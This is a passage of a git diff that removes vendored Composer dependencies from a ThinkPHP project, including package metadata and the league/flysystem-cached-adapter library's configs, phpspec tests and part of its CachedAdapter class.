"the php template engine", - "install-path": "../topthink/think-template" - }, - { - "name": "topthink/think-trace", - "version": "v1.4", - "version_normalized": "1.4.0.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/think-trace.git", - "reference": "9a9fa8f767b6c66c5a133ad21ca1bc96ad329444" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/think-trace/zipball/9a9fa8f767b6c66c5a133ad21ca1bc96ad329444", - "reference": "9a9fa8f767b6c66c5a133ad21ca1bc96ad329444", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1.0", - "topthink/framework": "^6.0.0" - }, - "time": "2020-06-29T05:27:28+00:00", - "type": "library", - "extra": { - "think": { - "services": [ - "think\\trace\\Service" - ], - "config": { - "trace": "src/config.php" - } - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "think\\trace\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "description": "thinkphp debug trace", - "support": { - "issues": "https://github.com/top-think/think-trace/issues", - "source": "https://github.com/top-think/think-trace/tree/v1.4" - }, - "install-path": "../topthink/think-trace" - }, - { - "name": "topthink/think-view", - "version": "v1.0.14", - "version_normalized": "1.0.14.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/think-view.git", - "reference": "edce0ae2c9551ab65f9e94a222604b0dead3576d" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/think-view/zipball/edce0ae2c9551ab65f9e94a222604b0dead3576d", - "reference": "edce0ae2c9551ab65f9e94a222604b0dead3576d", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1.0", - "topthink/think-template": "^2.0" - }, - "time": "2019-11-06T11:40:13+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "think\\view\\driver\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "description": "thinkphp template driver", - "install-path": "../topthink/think-view" - } - ], - "dev": true -} diff --git a/vendor/composer/installed.php b/vendor/composer/installed.php deleted file mode 100644 index f7b1159..0000000 --- a/vendor/composer/installed.php +++ /dev/null @@ -1,249 +0,0 @@ - - array ( - 'pretty_version' => 'dev-master', - 'version' => 'dev-master', - 'aliases' => - array ( - ), - 'reference' => 'c9f65d5ca918842689a627444aec27e5d6aeffc5', - 'name' => 'topthink/think', - ), - 'versions' => - array ( - 'league/flysystem' => - array ( - 'pretty_version' => '1.1.3', - 'version' => '1.1.3.0', - 'aliases' => - array ( - ), - 'reference' => '9be3b16c877d477357c015cec057548cf9b2a14a', - ), - 'league/flysystem-cached-adapter' => - array ( - 'pretty_version' => '1.1.0', - 'version' => '1.1.0.0', - 'aliases' => - array ( - ), - 'reference' => 'd1925efb2207ac4be3ad0c40b8277175f99ffaff', - ), - 'league/mime-type-detection' => - array ( - 'pretty_version' => '1.5.1', - 'version' => '1.5.1.0', - 'aliases' => - array ( - ), - 'reference' => '353f66d7555d8a90781f6f5e7091932f9a4250aa', - ), - 'nette/php-generator' => - array ( - 'pretty_version' => 'v3.4.1', - 'version' => '3.4.1.0', - 'aliases' => - array ( - ), - 'reference' => '7051954c534cebafd650efe8b145ac75b223cb66', - ), - 'nette/utils' => - array ( - 'pretty_version' => 'v3.1.3', - 'version' => '3.1.3.0', - 'aliases' => - array ( - ), - 'reference' => 'c09937fbb24987b2a41c6022ebe84f4f1b8eec0f', - ), - 'open-smf/connection-pool' => - array ( - 'pretty_version' => 'v1.0.15', - 'version' => '1.0.15.0', - 'aliases' => - array ( - ), - 'reference' => 'f9289cb5ee61d3e901bc74ab745e5b2162461a1e', - ), - 'psr/cache' => - array ( - 'pretty_version' => '1.0.1', - 'version' => '1.0.1.0', - 'aliases' => - array ( - ), - 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', - ), - 'psr/container' => - array ( - 'pretty_version' => '1.0.0', - 'version' => '1.0.0.0', - 'aliases' => - array ( - ), - 'reference' => 'b7ce3b176482dbbc1245ebf52b181af44c2cf55f', - ), - 'psr/log' => - array ( - 'pretty_version' => '1.1.3', - 'version' => '1.1.3.0', - 'aliases' => - array ( - ), - 'reference' => '0f73288fd15629204f9d42b7055f72dacbe811fc', - ), - 'psr/simple-cache' => - array ( - 'pretty_version' => '1.0.1', - 'version' => '1.0.1.0', - 'aliases' => - array ( - ), - 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', - ), - 'swoole/ide-helper' => - array ( - 'pretty_version' => '4.5.6', - 'version' => '4.5.6.0', - 'aliases' => - array ( - ), - 'reference' => 'ab23c2c35880144a6060a3f178a68af0d0c6fc93', - ), - 'symfony/finder' => - array ( - 'pretty_version' => 'v4.4.16', - 'version' => '4.4.16.0', - 'aliases' => - array ( - ), - 'reference' => '26f63b8d4e92f2eecd90f6791a563ebb001abe31', - ), - 'symfony/polyfill-mbstring' => - array ( - 'pretty_version' => 'v1.20.0', - 'version' => '1.20.0.0', - 'aliases' => - array ( - ), - 'reference' => '39d483bdf39be819deabf04ec872eb0b2410b531', - ), - 'symfony/polyfill-php72' => - array ( - 'pretty_version' => 'v1.20.0', - 'version' => '1.20.0.0', - 'aliases' => - array ( - ), - 'reference' => 'cede45fcdfabdd6043b3592e83678e42ec69e930', - ), - 'symfony/polyfill-php80' => - array ( - 'pretty_version' => 'v1.20.0', - 'version' => '1.20.0.0', - 'aliases' => - array ( - ), - 'reference' => 'e70aa8b064c5b72d3df2abd5ab1e90464ad009de', - ), - 'symfony/var-dumper' => - array ( - 'pretty_version' => 'v4.4.16', - 'version' => '4.4.16.0', - 'aliases' => - array ( - ), - 'reference' => '3718e18b68d955348ad860e505991802c09f5f73', - ), - 'topthink/framework' => - array ( - 'pretty_version' => 'v6.0.5', - 'version' => '6.0.5.0', - 'aliases' => - array ( - ), - 'reference' => '85625d984f5c96699dc27d384869f206c3aec1cc', - ), - 'topthink/think' => - array ( - 'pretty_version' => 'dev-master', - 'version' => 'dev-master', - 'aliases' => - array ( - ), - 'reference' => 'c9f65d5ca918842689a627444aec27e5d6aeffc5', - ), - 'topthink/think-captcha' => - array ( - 'pretty_version' => 'v3.0.3', - 'version' => '3.0.3.0', - 'aliases' => - array ( - ), - 'reference' => '1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55', - ), - 'topthink/think-helper' => - array ( - 'pretty_version' => 'v3.1.4', - 'version' => '3.1.4.0', - 'aliases' => - array ( - ), - 'reference' => 'c28d37743bda4a0455286ca85b17b5791d626e10', - ), - 'topthink/think-multi-app' => - array ( - 'pretty_version' => 'v1.0.14', - 'version' => '1.0.14.0', - 'aliases' => - array ( - ), - 'reference' => 'ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3', - ), - 'topthink/think-orm' => - array ( - 'pretty_version' => 'v2.0.34', - 'version' => '2.0.34.0', - 'aliases' => - array ( - ), - 'reference' => '57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629', - ), - 'topthink/think-swoole' => - array ( - 'pretty_version' => 'v3.0.9', - 'version' => '3.0.9.0', - 'aliases' => - array ( - ), - 'reference' => 'c61e95cdc0669f4fe3382e25def9ae25797c0508', - ), - 'topthink/think-template' => - array ( - 'pretty_version' => 'v2.0.7', - 'version' => '2.0.7.0', - 'aliases' => - array ( - ), - 'reference' => 'e98bdbb4a4c94b442f17dfceba81e0134d4fbd19', - ), - 'topthink/think-trace' => - array ( - 'pretty_version' => 'v1.4', - 'version' => '1.4.0.0', - 'aliases' => - array ( - ), - 'reference' => '9a9fa8f767b6c66c5a133ad21ca1bc96ad329444', - ), - 'topthink/think-view' => - array ( - 'pretty_version' => 'v1.0.14', - 'version' => '1.0.14.0', - 'aliases' => - array ( - ), - 'reference' => 'edce0ae2c9551ab65f9e94a222604b0dead3576d', - ), - ), -); diff --git a/vendor/composer/platform_check.php b/vendor/composer/platform_check.php deleted file mode 100644 index 051849a..0000000 --- a/vendor/composer/platform_check.php +++ /dev/null @@ -1,24 +0,0 @@ -= 70205)) { - $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.5". You are running ' . PHP_VERSION . '.'; -} - -$missingExtensions = array(); -extension_loaded('fileinfo') || $missingExtensions[] = 'fileinfo'; -extension_loaded('json') || $missingExtensions[] = 'json'; -extension_loaded('mbstring') || $missingExtensions[] = 'mbstring'; -extension_loaded('swoole') || $missingExtensions[] = 'swoole'; - -if ($missingExtensions) { - $issues[] = 'Your Composer dependencies require the following PHP extensions to be installed: ' . implode(', ', $missingExtensions); -} - -if ($issues) { - echo 'Composer detected issues in your platform:' . "\n\n" . implode("\n", $issues); - exit(104); -} diff --git a/vendor/league/flysystem-cached-adapter/.editorconfig b/vendor/league/flysystem-cached-adapter/.editorconfig deleted file mode 100644 index 153cf3e..0000000 --- a/vendor/league/flysystem-cached-adapter/.editorconfig +++ /dev/null @@ -1,10 +0,0 @@ -; top-most EditorConfig file -root = true - -; Unix-style newlines -[*] -end_of_line = LF - -[*.php] -indent_style = space -indent_size = 4 diff --git a/vendor/league/flysystem-cached-adapter/.gitignore b/vendor/league/flysystem-cached-adapter/.gitignore deleted file mode 100644 index 7aea75f..0000000 --- a/vendor/league/flysystem-cached-adapter/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -coverage -coverage.xml -composer.lock -vendor \ No newline at end of file diff --git a/vendor/league/flysystem-cached-adapter/.php_cs b/vendor/league/flysystem-cached-adapter/.php_cs deleted file mode 100644 index 6643a32..0000000 --- a/vendor/league/flysystem-cached-adapter/.php_cs +++ /dev/null @@ -1,7 +0,0 @@ -level(Symfony\CS\FixerInterface::PSR2_LEVEL) - ->fixers(['-yoda_conditions', 'ordered_use', 'short_array_syntax']) - ->finder(Symfony\CS\Finder\DefaultFinder::create() - ->in(__DIR__.'/src/')); \ No newline at end of file diff --git a/vendor/league/flysystem-cached-adapter/.scrutinizer.yml b/vendor/league/flysystem-cached-adapter/.scrutinizer.yml deleted file mode 100644 index fa39b52..0000000 --- a/vendor/league/flysystem-cached-adapter/.scrutinizer.yml +++ /dev/null @@ -1,34 +0,0 @@ -filter: - paths: [src/*] -checks: - php: - code_rating: true - remove_extra_empty_lines: true - remove_php_closing_tag: true - remove_trailing_whitespace: true - fix_use_statements: - remove_unused: true - preserve_multiple: false - preserve_blanklines: true - order_alphabetically: true - fix_php_opening_tag: true - fix_linefeed: true - fix_line_ending: true - fix_identation_4spaces: true - fix_doc_comments: true -tools: - external_code_coverage: - timeout: 900 - runs: 6 - php_code_coverage: false - php_code_sniffer: - config: - standard: PSR2 - filter: - paths: ['src'] - php_loc: - enabled: true - excluded_dirs: [vendor, spec, stubs] - php_cpd: - enabled: true - excluded_dirs: [vendor, spec, stubs] \ No newline at end of file diff --git a/vendor/league/flysystem-cached-adapter/.travis.yml b/vendor/league/flysystem-cached-adapter/.travis.yml deleted file mode 100644 index 6706449..0000000 --- a/vendor/league/flysystem-cached-adapter/.travis.yml +++ /dev/null @@ -1,29 +0,0 @@ -language: php - -php: - - 5.5 - - 5.6 - - 7.0 - - 7.1 - - 7.2 - -matrix: - allow_failures: - - php: 5.5 - -env: - - COMPOSER_OPTS="" - - COMPOSER_OPTS="--prefer-lowest" - -install: - - if [[ "${TRAVIS_PHP_VERSION}" == "5.5" ]]; then composer require phpunit/phpunit:^4.8.36 phpspec/phpspec:^2 --prefer-dist --update-with-dependencies; fi - - if [[ "${TRAVIS_PHP_VERSION}" == "7.2" ]]; then composer require phpunit/phpunit:^6.0 --prefer-dist --update-with-dependencies; fi - - travis_retry composer update --prefer-dist $COMPOSER_OPTS - -script: - - vendor/bin/phpspec run - - vendor/bin/phpunit - -after_script: - - wget https://scrutinizer-ci.com/ocular.phar' - - php ocular.phar code-coverage:upload --format=php-clover ./clover/phpunit.xml' diff --git a/vendor/league/flysystem-cached-adapter/LICENSE b/vendor/league/flysystem-cached-adapter/LICENSE deleted file mode 100644 index 666f6c8..0000000 --- a/vendor/league/flysystem-cached-adapter/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2015 Frank de Jonge - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/league/flysystem-cached-adapter/clover/.gitignore b/vendor/league/flysystem-cached-adapter/clover/.gitignore deleted file mode 100644 index d6b7ef3..0000000 --- a/vendor/league/flysystem-cached-adapter/clover/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -* -!.gitignore diff --git a/vendor/league/flysystem-cached-adapter/composer.json b/vendor/league/flysystem-cached-adapter/composer.json deleted file mode 100644 index df7fb7f..0000000 --- a/vendor/league/flysystem-cached-adapter/composer.json +++ /dev/null @@ -1,30 +0,0 @@ -{ - "name": "league/flysystem-cached-adapter", - "description": "An adapter decorator to enable meta-data caching.", - "autoload": { - "psr-4": { - "League\\Flysystem\\Cached\\": "src/" - } - }, - "require": { - "league/flysystem": "~1.0", - "psr/cache": "^1.0.0" - }, - "require-dev": { - "phpspec/phpspec": "^3.4", - "phpunit/phpunit": "^5.7", - "mockery/mockery": "~0.9", - "predis/predis": "~1.0", - "tedivm/stash": "~0.12" - }, - "suggest": { - "ext-phpredis": "Pure C implemented extension for PHP" - }, - "license": "MIT", - "authors": [ - { - "name": "frankdejonge", - "email": "info@frenky.net" - } - ] -} diff --git a/vendor/league/flysystem-cached-adapter/phpspec.yml b/vendor/league/flysystem-cached-adapter/phpspec.yml deleted file mode 100644 index 5eabcb2..0000000 --- a/vendor/league/flysystem-cached-adapter/phpspec.yml +++ /dev/null @@ -1,6 +0,0 @@ ---- -suites: - cached_adapter_suite: - namespace: League\Flysystem\Cached - psr4_prefix: League\Flysystem\Cached -formatter.name: pretty diff --git a/vendor/league/flysystem-cached-adapter/phpunit.php b/vendor/league/flysystem-cached-adapter/phpunit.php deleted file mode 100644 index d109587..0000000 --- a/vendor/league/flysystem-cached-adapter/phpunit.php +++ /dev/null @@ -1,3 +0,0 @@ - - - - - ./tests/ - - - - - ./src/ - - - - - - - - diff --git a/vendor/league/flysystem-cached-adapter/readme.md b/vendor/league/flysystem-cached-adapter/readme.md deleted file mode 100644 index dd1433d..0000000 --- a/vendor/league/flysystem-cached-adapter/readme.md +++ /dev/null @@ -1,20 +0,0 @@ -# Flysystem Cached CachedAdapter - -[![Author](http://img.shields.io/badge/author-@frankdejonge-blue.svg?style=flat-square)](https://twitter.com/frankdejonge) -[![Build Status](https://img.shields.io/travis/thephpleague/flysystem-cached-adapter/master.svg?style=flat-square)](https://travis-ci.org/thephpleague/flysystem-cached-adapter) -[![Coverage Status](https://img.shields.io/scrutinizer/coverage/g/thephpleague/flysystem-cached-adapter.svg?style=flat-square)](https://scrutinizer-ci.com/g/thephpleague/flysystem-cached-adapter/code-structure) -[![Quality Score](https://img.shields.io/scrutinizer/g/thephpleague/flysystem-cached-adapter.svg?style=flat-square)](https://scrutinizer-ci.com/g/thephpleague/flysystem-cached-adapter) -[![Software License](https://img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square)](LICENSE) -[![Packagist Version](https://img.shields.io/packagist/v/league/flysystem-cached-adapter.svg?style=flat-square)](https://packagist.org/packages/league/flysystem-cached-adapter) -[![Total Downloads](https://img.shields.io/packagist/dt/league/flysystem-cached-adapter.svg?style=flat-square)](https://packagist.org/packages/league/flysystem-cached-adapter) - - -The adapter decorator caches metadata and directory listings. - -```bash -composer require league/flysystem-cached-adapter -``` - -## Usage - -[Check out the docs.](https://flysystem.thephpleague.com/docs/advanced/caching/) diff --git a/vendor/league/flysystem-cached-adapter/spec/CachedAdapterSpec.php b/vendor/league/flysystem-cached-adapter/spec/CachedAdapterSpec.php deleted file mode 100644 index 69428d9..0000000 --- a/vendor/league/flysystem-cached-adapter/spec/CachedAdapterSpec.php +++ /dev/null @@ -1,435 +0,0 @@ -adapter = $adapter; - $this->cache = $cache; - $this->cache->load()->shouldBeCalled(); - $this->beConstructedWith($adapter, $cache); - } - - public function it_is_initializable() - { - $this->shouldHaveType('League\Flysystem\Cached\CachedAdapter'); - $this->shouldHaveType('League\Flysystem\AdapterInterface'); - } - - public function it_should_forward_read_streams() - { - $path = 'path.txt'; - $response = ['path' => $path]; - $this->adapter->readStream($path)->willReturn($response); - $this->readStream($path)->shouldbe($response); - } - - public function it_should_cache_writes() - { - $type = 'file'; - $path = 'path.txt'; - $contents = 'contents'; - $config = new Config(); - $response = compact('path', 'contents', 'type'); - $this->adapter->write($path, $contents, $config)->willReturn($response); - $this->cache->updateObject($path, $response, true)->shouldBeCalled(); - $this->write($path, $contents, $config)->shouldBe($response); - } - - public function it_should_cache_streamed_writes() - { - $type = 'file'; - $path = 'path.txt'; - $stream = tmpfile(); - $config = new Config(); - $response = compact('path', 'stream', 'type'); - $this->adapter->writeStream($path, $stream, $config)->willReturn($response); - $this->cache->updateObject($path, ['contents' => false] + $response, true)->shouldBeCalled(); - $this->writeStream($path, $stream, $config)->shouldBe($response); - fclose($stream); - } - - public function it_should_cache_streamed_updates() - { - $type = 'file'; - $path = 'path.txt'; - $stream = tmpfile(); - $config = new Config(); - $response = compact('path', 'stream', 'type'); - $this->adapter->updateStream($path, $stream, $config)->willReturn($response); - $this->cache->updateObject($path, ['contents' => false] + $response, true)->shouldBeCalled(); - $this->updateStream($path, $stream, $config)->shouldBe($response); - fclose($stream); - } - - public function it_should_ignore_failed_writes() - { - $path = 'path.txt'; - $contents = 'contents'; - $config = new Config(); - $this->adapter->write($path, $contents, $config)->willReturn(false); - $this->write($path, $contents, $config)->shouldBe(false); - } - - public function it_should_ignore_failed_streamed_writes() - { - $path = 'path.txt'; - $contents = tmpfile(); - $config = new Config(); - $this->adapter->writeStream($path, $contents, $config)->willReturn(false); - $this->writeStream($path, $contents, $config)->shouldBe(false); - fclose($contents); - } - - public function it_should_cache_updated() - { - $type = 'file'; - $path = 'path.txt'; - $contents = 'contents'; - $config = new Config(); - $response = compact('path', 'contents', 'type'); - $this->adapter->update($path, $contents, $config)->willReturn($response); - $this->cache->updateObject($path, $response, true)->shouldBeCalled(); - $this->update($path, $contents, $config)->shouldBe($response); - } - - public function it_should_ignore_failed_updates() - { - $path = 'path.txt'; - $contents = 'contents'; - $config = new Config(); - $this->adapter->update($path, $contents, $config)->willReturn(false); - $this->update($path, $contents, $config)->shouldBe(false); - } - - public function it_should_ignore_failed_streamed_updates() - { - $path = 'path.txt'; - $contents = tmpfile(); - $config = new Config(); - $this->adapter->updateStream($path, $contents, $config)->willReturn(false); - $this->updateStream($path, $contents, $config)->shouldBe(false); - fclose($contents); - } - - public function it_should_cache_renames() - { - $old = 'old.txt'; - $new = 'new.txt'; - $this->adapter->rename($old, $new)->willReturn(true); - $this->cache->rename($old, $new)->shouldBeCalled(); - $this->rename($old, $new)->shouldBe(true); - } - - public function it_should_ignore_rename_fails() - { - $old = 'old.txt'; - $new = 'new.txt'; - $this->adapter->rename($old, $new)->willReturn(false); - $this->rename($old, $new)->shouldBe(false); - } - - public function it_should_cache_copies() - { - $old = 'old.txt'; - $new = 'new.txt'; - $this->adapter->copy($old, $new)->willReturn(true); - $this->cache->copy($old, $new)->shouldBeCalled(); - $this->copy($old, $new)->shouldBe(true); - } - - public function it_should_ignore_copy_fails() - { - $old = 'old.txt'; - $new = 'new.txt'; - $this->adapter->copy($old, $new)->willReturn(false); - $this->copy($old, $new)->shouldBe(false); - } - - public function it_should_cache_deletes() - { - $delete = 'delete.txt'; - $this->adapter->delete($delete)->willReturn(true); - $this->cache->delete($delete)->shouldBeCalled(); - $this->delete($delete)->shouldBe(true); - } - - public function it_should_ignore_delete_fails() - { - $delete = 'delete.txt'; - $this->adapter->delete($delete)->willReturn(false); - $this->delete($delete)->shouldBe(false); - } - - public function it_should_cache_dir_deletes() - { - $delete = 'delete'; - $this->adapter->deleteDir($delete)->willReturn(true); - $this->cache->deleteDir($delete)->shouldBeCalled(); - $this->deleteDir($delete)->shouldBe(true); - } - - public function it_should_ignore_delete_dir_fails() - { - $delete = 'delete'; - $this->adapter->deleteDir($delete)->willReturn(false); - $this->deleteDir($delete)->shouldBe(false); - } - - public function it_should_cache_dir_creates() - { - $dirname = 'dirname'; - $config = new Config(); - $response = ['path' => $dirname, 'type' => 'dir']; - $this->adapter->createDir($dirname, $config)->willReturn($response); - $this->cache->updateObject($dirname, $response, true)->shouldBeCalled(); - $this->createDir($dirname, $config)->shouldBe($response); - } - - public function it_should_ignore_create_dir_fails() - { - $dirname = 'dirname'; - $config = new Config(); - $this->adapter->createDir($dirname, $config)->willReturn(false); - $this->createDir($dirname, $config)->shouldBe(false); - } - - public function it_should_cache_set_visibility() - { - $path = 'path.txt'; - $visibility = AdapterInterface::VISIBILITY_PUBLIC; - $this->adapter->setVisibility($path, $visibility)->willReturn(true); - $this->cache->updateObject($path, ['path' => $path, 'visibility' => $visibility], true)->shouldBeCalled(); - $this->setVisibility($path, $visibility)->shouldBe(true); - } - - public function it_should_ignore_set_visibility_fails() - { - $dirname = 'delete'; - $visibility = AdapterInterface::VISIBILITY_PUBLIC; - $this->adapter->setVisibility($dirname, $visibility)->willReturn(false); - $this->setVisibility($dirname, $visibility)->shouldBe(false); - } - - public function it_should_indicate_missing_files() - { - $this->cache->has($path = 'path.txt')->willReturn(false); - $this->has($path)->shouldBe(false); - } - - public function it_should_indicate_file_existance() - { - $this->cache->has($path = 'path.txt')->willReturn(true); - $this->has($path)->shouldBe(true); - } - - public function it_should_cache_missing_files() - { - $this->cache->has($path = 'path.txt')->willReturn(null); - $this->adapter->has($path)->willReturn(false); - $this->cache->storeMiss($path)->shouldBeCalled(); - $this->has($path)->shouldBe(false); - } - - public function it_should_delete_when_metadata_is_missing() - { - $path = 'path.txt'; - $this->cache->has($path)->willReturn(true); - $this->cache->getSize($path)->willReturn(['path' => $path]); - $this->adapter->getSize($path)->willReturn($response = ['path' => $path, 'size' => 1024]); - $this->cache->updateObject($path, $response, true)->shouldBeCalled(); - $this->getSize($path)->shouldBe($response); - } - - public function it_should_cache_has() - { - $this->cache->has($path = 'path.txt')->willReturn(null); - $this->adapter->has($path)->willReturn(true); - $this->cache->updateObject($path, compact('path'), true)->shouldBeCalled(); - $this->has($path)->shouldBe(true); - } - - public function it_should_list_cached_contents() - { - $this->cache->isComplete($dirname = 'dirname', $recursive = true)->willReturn(true); - $response = [['path' => 'path.txt']]; - $this->cache->listContents($dirname, $recursive)->willReturn($response); - $this->listContents($dirname, $recursive)->shouldBe($response); - } - - public function it_should_ignore_failed_list_contents() - { - $this->cache->isComplete($dirname = 'dirname', $recursive = true)->willReturn(false); - $this->adapter->listContents($dirname, $recursive)->willReturn(false); - $this->listContents($dirname, $recursive)->shouldBe(false); - } - - public function it_should_cache_contents_listings() - { - $this->cache->isComplete($dirname = 'dirname', $recursive = true)->willReturn(false); - $response = [['path' => 'path.txt']]; - $this->adapter->listContents($dirname, $recursive)->willReturn($response); - $this->cache->storeContents($dirname, $response, $recursive)->shouldBeCalled(); - $this->listContents($dirname, $recursive)->shouldBe($response); - } - - public function it_should_use_cached_visibility() - { - $this->make_it_use_getter_cache('getVisibility', 'path.txt', [ - 'path' => 'path.txt', - 'visibility' => AdapterInterface::VISIBILITY_PUBLIC, - ]); - } - - public function it_should_cache_get_visibility() - { - $path = 'path.txt'; - $response = ['visibility' => AdapterInterface::VISIBILITY_PUBLIC, 'path' => $path]; - $this->make_it_cache_getter('getVisibility', $path, $response); - } - - public function it_should_ignore_failed_get_visibility() - { - $path = 'path.txt'; - $this->make_it_ignore_failed_getter('getVisibility', $path); - } - - public function it_should_use_cached_timestamp() - { - $this->make_it_use_getter_cache('getTimestamp', 'path.txt', [ - 'path' => 'path.txt', - 'timestamp' => 1234, - ]); - } - - public function it_should_cache_timestamps() - { - $this->make_it_cache_getter('getTimestamp', 'path.txt', [ - 'path' => 'path.txt', - 'timestamp' => 1234, - ]); - } - - public function it_should_ignore_failed_get_timestamps() - { - $this->make_it_ignore_failed_getter('getTimestamp', 'path.txt'); - } - - public function it_should_cache_get_metadata() - { - $path = 'path.txt'; - $response = ['visibility' => AdapterInterface::VISIBILITY_PUBLIC, 'path' => $path]; - $this->make_it_cache_getter('getMetadata', $path, $response); - } - - public function it_should_use_cached_metadata() - { - $this->make_it_use_getter_cache('getMetadata', 'path.txt', [ - 'path' => 'path.txt', - 'timestamp' => 1234, - ]); - } - - public function it_should_ignore_failed_get_metadata() - { - $this->make_it_ignore_failed_getter('getMetadata', 'path.txt'); - } - - public function it_should_cache_get_size() - { - $path = 'path.txt'; - $response = ['size' => 1234, 'path' => $path]; - $this->make_it_cache_getter('getSize', $path, $response); - } - - public function it_should_use_cached_size() - { - $this->make_it_use_getter_cache('getSize', 'path.txt', [ - 'path' => 'path.txt', - 'size' => 1234, - ]); - } - - public function it_should_ignore_failed_get_size() - { - $this->make_it_ignore_failed_getter('getSize', 'path.txt'); - } - - public function it_should_cache_get_mimetype() - { - $path = 'path.txt'; - $response = ['mimetype' => 'text/plain', 'path' => $path]; - $this->make_it_cache_getter('getMimetype', $path, $response); - } - - public function it_should_use_cached_mimetype() - { - $this->make_it_use_getter_cache('getMimetype', 'path.txt', [ - 'path' => 'path.txt', - 'mimetype' => 'text/plain', - ]); - } - - public function it_should_ignore_failed_get_mimetype() - { - $this->make_it_ignore_failed_getter('getMimetype', 'path.txt'); - } - - public function it_should_cache_reads() - { - $path = 'path.txt'; - $response = ['path' => $path, 'contents' => 'contents']; - $this->make_it_cache_getter('read', $path, $response); - } - - public function it_should_use_cached_file_contents() - { - $this->make_it_use_getter_cache('read', 'path.txt', [ - 'path' => 'path.txt', - 'contents' => 'contents' - ]); - } - - public function it_should_ignore_failed_reads() - { - $this->make_it_ignore_failed_getter('read', 'path.txt'); - } - - protected function make_it_use_getter_cache($method, $path, $response) - { - $this->cache->{$method}($path)->willReturn($response); - $this->{$method}($path)->shouldBe($response); - } - - protected function make_it_cache_getter($method, $path, $response) - { - $this->cache->{$method}($path)->willReturn(false); - $this->adapter->{$method}($path)->willReturn($response); - $this->cache->updateObject($path, $response, true)->shouldBeCalled(); - $this->{$method}($path)->shouldBe($response); - } - - protected function make_it_ignore_failed_getter($method, $path) - { - $this->cache->{$method}($path)->willReturn(false); - $this->adapter->{$method}($path)->willReturn(false); - $this->{$method}($path)->shouldBe(false); - } -} diff --git a/vendor/league/flysystem-cached-adapter/src/CacheInterface.php b/vendor/league/flysystem-cached-adapter/src/CacheInterface.php deleted file mode 100644 index de3ab3d..0000000 --- a/vendor/league/flysystem-cached-adapter/src/CacheInterface.php +++ /dev/null @@ -1,101 +0,0 @@ -adapter = $adapter; - $this->cache = $cache; - $this->cache->load(); - } - - /** - * Get the underlying Adapter implementation. - * - * @return AdapterInterface - */ - public function getAdapter() - { - return $this->adapter; - } - - /** - * Get the used Cache implementation. - * - * @return CacheInterface - */ - public function getCache() - { - return $this->cache; - } - - /** - * {@inheritdoc} - */ - public function write($path, $contents, Config $config) - { - $result = $this->adapter->write($path, $contents, $config); - - if ($result !== false) { - $result['type'] = 'file'; - $this->cache->updateObject($path, $result + compact('path', 'contents'), true); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function writeStream($path, $resource, Config $config) - { - $result = $this->adapter->writeStream($path, $resource, $config); - - if ($result !== false) { - $result['type'] = 'file'; - $contents = false; - $this->cache->updateObject($path, $result + compact('path', 'contents'), true); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function update($path, $contents, Config $config) - { - $result = $this->adapter->update($path, $contents, $config); - - if ($result !== false) { - $result['type'] = 'file'; - $this->cache->updateObject($path, $result + compact('path', 'contents'), true); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function updateStream($path, $resource, Config $config) - { - $result = $this->adapter->updateStream($path, $resource, $config); - - if ($result !== false) { - $result['type'] = 'file'; - $contents = false; - $this->cache->updateObject($path, $result + compact('path', 'contents'), true); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function rename($path, $newPath) - { - $result = $this->adapter->rename($path, $newPath); - - if ($result !== false) { - $this->cache->rename($path, $newPath); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function copy($path, $newpath) - { - $result = $this->adapter->copy($path, $newpath); - - if ($result !== false) { - $this->cache->copy($path, $newpath); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function delete($path) - { - $result = $this->adapter->delete($path); - - if ($result !== false) { - $this->cache->delete($path); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function deleteDir($dirname) - { - $result = $this->adapter->deleteDir($dirname); - - if ($result !== false) { - $this->cache->deleteDir($dirname); - 